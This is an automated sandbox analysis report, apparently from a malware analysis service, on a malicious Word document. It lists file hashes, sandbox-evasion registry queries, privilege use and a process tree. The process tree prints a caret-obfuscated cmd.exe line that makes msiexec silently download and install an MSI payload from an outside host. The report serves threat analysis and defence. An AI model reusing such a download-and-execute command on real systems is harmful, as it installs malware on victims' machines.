Analysis
- max time kernel
134s - max time network
136s - platform
windows10_x64 - resource
win10 - submitted
25/06/2020, 13:07
Static task
static1
Behavioral task
behavioral1
Sample
Signed_POno20200625.doc
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Signed_POno20200625.doc
Resource
win10
windows10_x64
0 signatures
0 seconds
General
- Target Signed_POno20200625.doc
- Size 114KB
- Sample200625-6dfewmgth2
- SHA256 759ef75e133383af768b2be302dc256ad4e6720fb64eda70af76954dd29caf73
- MD5 02e8eab1f3b002f6b975101ede2b64a6
- SHA1 db10b294e9df891244ea98ce4bacdea115647813
- SHA512 7abf2c8f0cf9467b57057aa94222667f89ab2c8be28b5009dcb19fa70eb25fc5ed3b222f3cf715c99de5df2aafb5fab02d032b94ca0f27d8ac3a915ef015a813
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIECC2.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIEE1C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIE87B.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe - Suspicious use of SetWindowsHookEx 18 IoCs
pid Process 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE 3104 WINWORD.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3148 3104 cmd.exe 66 - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 3104 wrote to memory of 3148 3104 WINWORD.EXE 71 PID 3104 wrote to memory of 3148 3104 WINWORD.EXE 71 PID 3148 wrote to memory of 2268 3148 cmd.exe 73 PID 3148 wrote to memory of 2268 3148 cmd.exe 73 PID 1752 wrote to memory of 3020 1752 msiexec.exe 76 PID 1752 wrote to memory of 3020 1752 msiexec.exe 76 PID 1752 wrote to memory of 3020 1752 msiexec.exe 76 - Suspicious use of AdjustPrivilegeToken 44 IoCs
description pid Process Token: SeShutdownPrivilege 2268 msiexec.exe Token: SeIncreaseQuotaPrivilege 2268 msiexec.exe Token: SeSecurityPrivilege 1752 msiexec.exe Token: SeCreateTokenPrivilege 2268 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2268 msiexec.exe Token: SeLockMemoryPrivilege 2268 msiexec.exe Token: SeIncreaseQuotaPrivilege 2268 msiexec.exe Token: SeMachineAccountPrivilege 2268 msiexec.exe Token: SeTcbPrivilege 2268 msiexec.exe Token: SeSecurityPrivilege 2268 msiexec.exe Token: SeTakeOwnershipPrivilege 2268 msiexec.exe Token: SeLoadDriverPrivilege 2268 msiexec.exe Token: SeSystemProfilePrivilege 2268 msiexec.exe Token: SeSystemtimePrivilege 2268 msiexec.exe Token: SeProfSingleProcessPrivilege 2268 msiexec.exe Token: SeIncBasePriorityPrivilege 2268 msiexec.exe Token: SeCreatePagefilePrivilege 2268 msiexec.exe Token: SeCreatePermanentPrivilege 2268 msiexec.exe Token: SeBackupPrivilege 2268 msiexec.exe Token: SeRestorePrivilege 2268 msiexec.exe Token: SeShutdownPrivilege 2268 msiexec.exe Token: SeDebugPrivilege 2268 msiexec.exe Token: SeAuditPrivilege 2268 msiexec.exe Token: SeSystemEnvironmentPrivilege 2268 msiexec.exe Token: SeChangeNotifyPrivilege 2268 msiexec.exe Token: SeRemoteShutdownPrivilege 2268 msiexec.exe Token: SeUndockPrivilege 2268 msiexec.exe Token: SeSyncAgentPrivilege 2268 msiexec.exe Token: SeEnableDelegationPrivilege 2268 msiexec.exe Token: SeManageVolumePrivilege 2268 msiexec.exe Token: SeImpersonatePrivilege 2268 msiexec.exe Token: SeCreateGlobalPrivilege 2268 msiexec.exe Token: SeRestorePrivilege 1752 msiexec.exe Token: SeTakeOwnershipPrivilege 1752 msiexec.exe Token: SeRestorePrivilege 1752 msiexec.exe Token: SeTakeOwnershipPrivilege 1752 msiexec.exe Token: SeRestorePrivilege 1752 msiexec.exe Token: SeTakeOwnershipPrivilege 1752 msiexec.exe Token: SeRestorePrivilege 1752 msiexec.exe Token: SeTakeOwnershipPrivilege 1752 msiexec.exe Token: SeRestorePrivilege 1752 msiexec.exe Token: SeTakeOwnershipPrivilege 1752 msiexec.exe Token: SeRestorePrivilege 1752 msiexec.exe Token: SeTakeOwnershipPrivilege 1752 msiexec.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1752 msiexec.exe 1752 msiexec.exe - Enumerates connected drives 3 TTPs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3104 WINWORD.EXE 3104 WINWORD.EXE - Use of msiexec (install) with remote resource 1 IoCs
pid Process 2268 msiexec.exe - Blacklisted process makes network request 1 IoCs
flow pid Process 7 1752 msiexec.exe - Executes dropped EXE 1 IoCs
pid Process 3020 MSIEE1C.tmp - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Signed_POno20200625.doc" /o ""1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:3104 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ms^iE^x^ec /i http://quttnerttatert.com/SvS/8704510.msi /qn2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3148 -
C:\Windows\system32\msiexec.exemsiExec /i http://quttnerttatert.com/SvS/8704510.msi /qn3⤵
- Suspicious use of AdjustPrivilegeToken
- Use of msiexec (install) with remote resource
PID:2268
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:1752 -
C:\Windows\Installer\MSIEE1C.tmp"C:\Windows\Installer\MSIEE1C.tmp"2⤵
- Executes dropped EXE
PID:3020
-